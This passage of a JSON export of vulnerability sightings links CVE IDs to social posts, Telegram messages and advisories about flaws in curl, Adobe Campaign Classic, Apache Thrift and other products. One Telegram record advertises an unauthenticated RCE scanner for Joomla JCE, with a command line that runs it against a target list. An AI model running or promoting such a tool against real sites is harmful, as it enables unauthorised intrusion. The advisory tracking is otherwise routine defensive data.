"2d386485-83ab-4b34-b787-f40935b28ec4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4878", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjhhcqfm6j26", "content": "", "creation_timestamp": "2026-04-14T13:10:07.654303Z"}, {"uuid": "a83f7793-c5c8-4482-b743-f10c308b8037", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4832", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjhhczv3ac2r", "content": "", "creation_timestamp": "2026-04-14T13:10:17.541070Z"}, {"uuid": "bc917b8e-b6aa-4bdd-9c71-55f804b9e6fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4810", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mjhvkmmavk2t", "content": "", "creation_timestamp": "2026-04-14T17:25:07.390238Z"}, {"uuid": "a780baf3-fb56-416a-abcb-ef398be0fca6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4873", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mkn4vufiap2k", "content": "\ud83d\udd17 CVE : CVE-2026-4873, CVE-2026-5545, CVE-2026-5773, CVE-2026-6253, CVE-2026-6276, CVE-2026-6429, CVE-2026-7009, CVE-2026-7168, CVE-2024-11053, CVE-2026-1965, CVE-2026-4873, CVE-2026-5545, CVE-2026-5773, CVE-2026-6253, CVE-2026-6276, CVE-2026-6429, CVE-2026-7009, CVE-2026-7168", "creation_timestamp": "2026-04-29T12:45:07.347217Z"}, {"uuid": "564f1fd9-00d1-4807-af88-7202ec8e8863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4812", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjizv6wo6l2z", "content": "", "creation_timestamp": "2026-04-15T04:15:13.130305Z"}, {"uuid": "d64f1bb3-9103-443a-82fb-a38c375d3ef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-4880", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116411442042183112", "content": "", "creation_timestamp": "2026-04-16T00:00:41.156569Z"}, {"uuid": "9f3885e6-c438-48b2-a6a8-1ac1ed5a4769", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-4880", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mjl44xsviz2c", "content": "", "creation_timestamp": "2026-04-16T00:00:41.698283Z"}, {"uuid": "72f12453-0f03-4eeb-8112-e003368d0d9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4880", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjldrwgcj62a", "content": "", "creation_timestamp": "2026-04-16T02:17:40.945192Z"}, {"uuid": "51f3e069-267b-4041-aec4-97a3aeab5982", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4880", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjmlchocoj2i", "content": "", "creation_timestamp": "2026-04-16T14:04:53.925156Z"}, {"uuid": "aaa5d2bd-c2b1-4f8a-a229-42976f80303d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4867", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjnyovuxap2g", "content": "", "creation_timestamp": "2026-04-17T03:37:07.192786Z"}, {"uuid": "4d402864-3698-4ddb-a445-2c85d3215671", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4853", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjobtc2x6a22", "content": "", "creation_timestamp": "2026-04-17T06:20:38.033758Z"}, {"uuid": "5d1ed7f0-fcbe-49db-bf03-9c5fc6273d57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4817", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjodqwhbqp2f", "content": "", "creation_timestamp": "2026-04-17T06:55:06.523384Z"}, {"uuid": "ddd6de14-8f60-4e9b-b7a5-371c000398be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4817", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mjoj6ezi7t2i", "content": "", "creation_timestamp": "2026-04-17T08:32:06.269105Z"}, {"uuid": "79d05b9f-28cc-45c6-a99e-656347b961bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4853", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mjpy4gr6wa2r", "content": "", "creation_timestamp": "2026-04-17T22:32:06.917554Z"}, {"uuid": "4e4421ef-26f4-40a8-8c55-5e3490c93441", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4895", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mjr52ezjqv26", "content": "", "creation_timestamp": "2026-04-18T09:33:06.518818Z"}, {"uuid": "25f61958-7419-45f3-ac6e-376079c974e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4800", "type": "seen", "source": "https://gist.github.com/rising-leviathan/119feeb951e007f52e62be653efa11b1", "content": "", "creation_timestamp": "2026-04-20T04:37:12.000000Z"}, {"uuid": "f5e537dd-f190-4d94-872f-d8c2f4e5ed93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4852", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjxj2wb56l2i", "content": "", "creation_timestamp": "2026-04-20T22:24:09.518271Z"}, {"uuid": "410e5246-fcc9-4a39-b778-db02e853a16a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4821", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mk2hmbqyle2c", "content": "", "creation_timestamp": "2026-04-22T02:36:08.444937Z"}, {"uuid": "6c34e335-e80c-4bdc-b7e2-49c25b68fa88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4857", "type": "published-proof-of-concept", "source": "Telegram/M6EVzZe60-ZK2hxHMbXVzi0icuKFKnAtI2GiQ0rZVKguBtE", "content": "", "creation_timestamp": "2026-04-15T23:25:44.000000Z"}, {"uuid": "7b165e41-cb58-4f88-8b1d-b83b63768fbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4857", "type": "seen", "source": "Telegram/uDqb5UNOJD19g19jmJKdnJBBrEUml8WxLQrnFn708j03zpg", "content": "", "creation_timestamp": "2026-04-15T23:26:09.000000Z"}, {"uuid": "8d3f8ee8-82b0-461d-aeab-721d298daa2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4810", "type": "published-proof-of-concept", "source": "Telegram/fSDxF1W-_oA5l6t_gQa9ar4bEO6UgKzKht9_blWdgmI3wf0", "content": "", "creation_timestamp": "2026-04-13T11:15:29.000000Z"}, {"uuid": "f5e4b14b-f65a-49be-ab54-a39d1e06cfde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4808", "type": "seen", "source": "Telegram/2us3LfI3-3LhgNH-mQsCI8ayQxKx_-qgKTK1cQJ8QYqIxeY", "content": "", "creation_timestamp": "2026-04-08T09:15:53.000000Z"}, {"uuid": "58c2cc36-3628-4cc9-a426-3b3d0b19394c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4851", "type": "published-proof-of-concept", "source": "Telegram/fvcDlylB6Q78KniI1pBDCXqCziRIFy6eVM6L3PvvuY9d-E4", "content": "", "creation_timestamp": "2026-03-31T21:19:21.000000Z"}, {"uuid": "997cdcfc-4ced-43f1-9e03-43286b611cda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4800", "type": "seen", "source": "Telegram/OA0BhF0tC6EPmRi9BAj0aaRm3q83l75bwQVc9b2koDj48CY", "content": "", "creation_timestamp": "2026-03-31T21:19:34.000000Z"}, {"uuid": "6264b652-b3e9-4d12-8ba4-4ec7e6ef7b8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4828", "type": "seen", "source": "Telegram/lZIbbZM6hBayBvqPlVKcR-m9kDIyKTvG_CXDWINXAPChKhQ", "content": "", "creation_timestamp": "2026-04-01T23:26:58.000000Z"}, {"uuid": "8ac8f40f-5e07-4763-84f3-8c822e18b01a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4896", "type": "seen", "source": "Telegram/NNGt-8v_mBW7KxwLZ9AfIWR01sI3i4upqW8rgqGTzB2SyL8", "content": "", "creation_timestamp": "2026-04-04T09:15:29.000000Z"}, {"uuid": "e109cc9f-b178-4e4c-99c5-34326494af38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4873", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkmj5tu7cu2x", "content": "[ADVISORY] curl: CVE-2026-4873: connection reuse ignores TLS requirement", "creation_timestamp": "2026-04-29T06:51:40.964183Z"}, {"uuid": "0ea0560c-9acb-4a1b-9792-52b4c0a04100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4821", "type": "seen", "source": "Telegram/zBPsvp7areyPvO2SEeKM1Qy-KxN79fyHXtde1OrDiJAWALw", "content": "", "creation_timestamp": "2026-04-22T01:19:03.000000Z"}, {"uuid": "9adf91fc-b170-46cc-964b-e5eb14c2b0f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4880", "type": "seen", "source": "Telegram/cDitVeBI8oWCcnnyaubtTUI3HbowCaMK9JXw2ugv50fhL_s", "content": "", "creation_timestamp": "2026-04-22T21:20:45.000000Z"}, {"uuid": "aeb94f6d-473c-44dd-b539-e65bb760ce6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mrumabkynk26", "content": "CVE-2026-48449 - Critical RCE in Adobe Campaign Classic. Incorrect Authorization allows code execution without user interaction. CVSS 10. Unpatched - take immediate action. #CVE #Adobe #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-48449/", "creation_timestamp": "2026-07-30T14:04:22.358985Z"}, {"uuid": "01298394-eedf-45b8-81fc-d6338dc59f18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrtjzfcgkl2e", "content": "CVE-2026-48449\nAdobe Campaign Classic has a security flaw that allows an attacker to access and control the account of a legitimate user without needing their permission. This could lead to sensitive data being compromised or\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-30T03:52:04.324012Z"}, {"uuid": "3c73304c-fd86-438a-aa48-a029045eb2df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48448", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrtki7wira23", "content": "\ud83d\udfe0 CVE-2026-48448 - High (8.6)\n\nAdobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used i...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48448/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-30T04:00:22.531262Z"}, {"uuid": "4626d1e0-37a7-4d27-8701-c87fc083efa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrtkiggdyr2u", "content": "\ud83d\udd34 CVE-2026-48449 - Critical (10)\n\nAdobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could r...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48449/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-30T04:00:29.858490Z"}, {"uuid": "056ed06f-c7f5-4bc0-9194-e6c621ad2918", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48934", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mrumtyo7h22j", "content": "\ud83d\udd17 CVE : CVE-2026-48934, CVE-2026-56846, CVE-2026-56847, CVE-2026-56848, CVE-2026-56850, CVE-2026-58039, CVE-2026-58040, CVE-2026-58041, CVE-2026-58042, CVE-2026-58043, CVE-2026-58044, CVE-2026-58045", "creation_timestamp": "2026-07-30T14:15:23.944944Z"}, {"uuid": "14e10bf5-aee7-4421-a37f-82e5e79e8e87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48586", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mruo2ulfpx2f", "content": "\ud83d\udccc CVE-2026-48586 - Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Thrift C++, Java, Python, Go, D, C/GLib bindings.\n\nThis issue... https://www.potatohub.blog/cves/CVE-2026-48586", "creation_timestamp": "2026-07-30T14:37:08.614086Z"}, {"uuid": "9e72a21f-342c-472a-aa5a-bfccd692e2ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48910", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/dsqsb44f2t5bl", "content": "CVE-2026-48910: Apache JSPWiki: Markdown parser allows XSS injection in Markdown error processing", "creation_timestamp": "2026-07-30T14:37:09.808665Z"}, {"uuid": "4fbc344a-e44b-466b-9316-387ea4b54c44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48030", "type": "seen", "source": "https://bsky.app/profile/roguelogics.bsky.social/post/3mrtsqnnwdl2t", "content": "CVE-2026-48030: Critical OS Command Injection in Pheditor (2.0.1-2.0.4). Authenticated users can execute arbitrary OS commands. Patch to 2.0.6 or apply mitigations. #CyberSecurity #PatchNow", "creation_timestamp": "2026-07-30T06:28:15.743675Z"}, {"uuid": "2d2cf511-302b-4d39-adfb-656a4300e86e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48934", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/node-js-multiple-vulnerabilities_20260730", "content": "", "creation_timestamp": "2026-07-30T04:46:44.688713Z"}, {"uuid": "36926cf7-ad4b-4dd1-a77e-9030866ada6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48286", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mruhm3d3ys26", "content": "Adobe\u304cColdFusion\u304a\u3088\u3073Campaign Classic\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u3092\u4fee\u6b63\n\nAdobe Campaign Classic\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u306b\u3088\u308a\u3001CVE-2026-48286\uff08CVSS\u30b9\u30b3\u30a210/10\uff09 \u304c\u89e3\u6c7a\u3055\u308c\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u653b\u6483\u8005\u304c\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3067\u304d\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u3001\u8a8d\u8a3c\u306b\u95a2\u3059\u308b\u8aa4\u3063\u305f\u554f\u984c\u3067\u3059\u3002\n\n\u3053\u306e\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u4fee\u6b63\u30d7\u30ed\u30b0\u30e9\u30e0\u306f\u3001Adobe Campaign Classic \u30d0\u30fc\u30b8\u30e7\u30f3 7.4.3 \u30d3\u30eb\u30c9 9397 \u306b\u542b\u307e\u308c\u3066\u304a\u308a\u3001\u73fe\u5728 Windows \u304a\u3088\u3073 Linux \u30e6\u30fc\u30b6\u30fc\u5411\u3051\u306b\u9806\u6b21\u914d\u4fe1\u3055\u308c\u3066\u3044\u307e\u3059\u3002\n\nColdFusion\u30d0\u30fc\u30b8\u30e7\u30f32025\u304a\u3088\u30732023...", "creation_timestamp": "2026-07-30T12:41:33.529944Z"}, {"uuid": "944f8b31-a411-4b80-8e5b-d29bc71d2d21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48586", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mruo2sl3xs2s", "content": "\ud83d\udccc CVE-2026-48586 - Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Thrift C++, Java, Python, Go, D, C/GLib bindings.\n\nThis issue... https://www.cyberhub.blog/cves/CVE-2026-48586", "creation_timestamp": "2026-07-30T14:37:07.094265Z"}, {"uuid": "56f57999-a8eb-4730-b640-2d3dc8865611", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3ms4suqi7jc2a", "content": "Adobe fixed a maximum-severity vulnerability flaw in Campaign Classic\n\nAdobe fixed a maximum severity vulnerability in Campaign Classic that could let attackers run code remotely without user interaction. Adobe has addressed a critical vulnerability, tracked as CVE-2026-48449 (CVS\u2026\n#hackernews #news", "creation_timestamp": "2026-08-02T20:24:30.171943Z"}, {"uuid": "dcfe0595-96a6-4bfd-9340-16a47ae8ecec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://thehackernews.com/2026/08/adobe-campaign-classic-cvss-100-flaw.html", "content": "Adobe has released security updates to address a maximum-severity security flaw in Campaign Classic (ACC), its enterprise-focused marketing automation platform, that could result in arbitrary code execution.\n\nThe vulnerability, tracked as CVE-2026-48449, carries a severity score of 10.0 on the CVSS scoring system.\n\nIt has been described as a case of incorrect authorization that could result in", "creation_timestamp": "2026-08-01T10:00:38.766305Z"}, {"uuid": "6b7e6a22-424d-4bc7-9c98-ac134b7cacf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/smtp_sendgrid_aws_office365/280", "content": "\ud83d\udea8 CVE-2026-48907 \u2013 Joomla JCE Unauthenticated RCE Scanner\n\n\ud83d\udd25 Vulnerability Details\n\u2022 CVE: CVE-2026-48907\n\u2022 Product: Joomla JCE (Joomla Content Editor)\n\u2022 Severity: CVSS 10.0 (Critical)\n\u2022 Impact: Unauthenticated Remote Code Execution (RCE)\n\nHow to Use  :\npython3 masta.py -f targets.txt\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83d\udee0 By @cobra_securitytools\n\ud83d\udce2 Join @smtp_sendgrid_aws_office365\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501", "creation_timestamp": "2026-08-02T21:14:35.733572Z"}, {"uuid": "70740e4c-7f0e-4ab4-a600-56eac91ff886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "Telegram/nH3urMEX3q2z2GduZzAZDrSGR4Ur7InM5c7di77ZyWhzXA", "content": "", "creation_timestamp": "2026-08-01T11:00:03.371304Z"}, {"uuid": "c1a48f2e-e81d-46bc-96ea-4ed6e521cb18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48323", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/117035356953251012", "content": "Adobe Campaign Classic is impacted by CVE-2026-48323 (CRITICAL, CVSS 10). Improper neutralization in the template engine allows remote code execution \u2014 no user interaction needed. No patch yet. Monitor advisories: https://radar.offseq.com/threat/cve-2026-48323-improper-neutralization-of-special-elements-used-in-a-template-engine-cwe-1336-in-adobe-9070fce8af299a9b #OffSeq #Adobe #Vuln #CVE202648323", "creation_timestamp": "2026-08-04T04:30:25.269367Z"}, {"uuid": "a61c1033-8da4-4587-929a-e59264ad187e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48323", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3msa6imihta2h", "content": "CRITICAL: Adobe Campaign Classic hit by CVE-2026-48323 (CVSS 10). Remote code execution is possible \u2014 no user interaction needed. No patch yet. Monitor Adobe\u2019s advisories for guidance. https://radar.offseq.com/threat/cve-2026-48323-improper-neutralization-of-special-elements-used-in-a-template-en...", "creation_timestamp": "2026-08-04T04:30:27.800948Z"}, {"uuid": "dc02632b-03f3-40ce-89fe-73dd62414b68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msb6fq25gs2c", "content": "CISA\u306f\u3001\u60aa\u7528\u3055\u308c\u305fColdFusion\u3001Langflow\u3001Joomla\u306e\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u5373\u6642\u30d1\u30c3\u30c1\u9069\u7528\u3092\u5f37\u304f\u63a8\u5968\u3059\u308b\u3002\n\nCVE-2026-48282\uff08CVSS\u30b9\u30b3\u30a210/10\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306eColdFusion\u306e\u8106\u5f31\u6027\u306f\u3001Adobe\u304c6\u670830\u65e5\u306b\u30d1\u30c3\u30c1\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u3066\u304b\u3089\u308f\u305a\u304b\u6570\u65e5\u5f8c\u306b\u60aa\u7528\u3055\u308c\u305f\u3053\u3068\u304c\u5831\u544a\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u308c\u306f\u30d1\u30b9\u30fb\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u653b\u6483\u306e\u8106\u5f31\u6027\u3067\u3042\u308a\u3001\u653b\u6483\u8005\u306f\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3067\u304d\u307e\u3059\u3002\n\nLangflow\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\uff08 CVE-2026-55255\u3001CVSS\u30b9\u30b3\u30a29.9\uff09\u306f\u3001\u30c6\u30ca\u30f3\u30c8\u9593\u306b\u304a\u3051\u308b\u5b89\u5168\u3067\u306a\u3044\u76f4\u63a5\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u53c2\u7167\uff08IDOR\uff09\u306e\u8106\u5f31\u6027\u3067\u3042\u308a\u3001\u653b\u6483\u8005...", "creation_timestamp": "2026-08-04T14:01:31.412025Z"}, {"uuid": "61742fb5-4795-4499-9943-3b492f0f5390", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrzcv5vr7s2e", "content": "Adobe patched a CVSS 10.0 flaw in Campaign Classic, CVE-2026-48449, that could enable code execution without user interaction. It also fixed CVE-2026-48448, an SQL injection bug tied to file reads. #Adobe #CampaignClassic #CVE202648449", "creation_timestamp": "2026-08-01T11:00:24.860116Z"}, {"uuid": "5bd7eaa3-db02-4d5b-b4a3-a16ff0b94d35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48448", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrzcv5vr7s2e", "content": "Adobe patched a CVSS 10.0 flaw in Campaign Classic, CVE-2026-48449, that could enable code execution without user interaction. It also fixed CVE-2026-48448, an SQL injection bug tied to file reads. #Adobe #CampaignClassic #CVE202648449", "creation_timestamp": "2026-08-01T11:00:24.913675Z"}, {"uuid": "93ec91fe-a421-4690-b6f5-0ab0f59aa545", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4878", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3ms4z67gzeb25", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-4878](https://access.redhat.com/errata/RHSA-2026:12423)\nA flaw was found in libcap. A l...\nhttps://access.redhat.com/errata/RHSA-2026:12423 #ZeroDay #PatchManagement #Vulnerability", "creation_timestamp": "2026-08-02T22:17:09.719952Z"}, {"uuid": "e2db1b35-32d5-47f2-927a-a2372fd0b711", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48815", "type": "seen", "source": "https://gist.github.com/djlan/b1b2bcf870f86cc4e03f310cec6700ec", "content": "# PR 767064\uff1a\u5347\u7ea7 sigstore \u4e0e Lerna\uff0c\u4fee\u590d\u5ba2\u6237\u7aef\u5de5\u5177\u94fe\u5b89\u5168\u6f0f\u6d1e\n\n> **\u4e00\u53e5\u8bdd\u6458\u8981\uff1a** \u6b64 PR \u5c06 `src/client` \u7684 Lerna \u4ece 8.2.4 \u5347\u7ea7\u5230 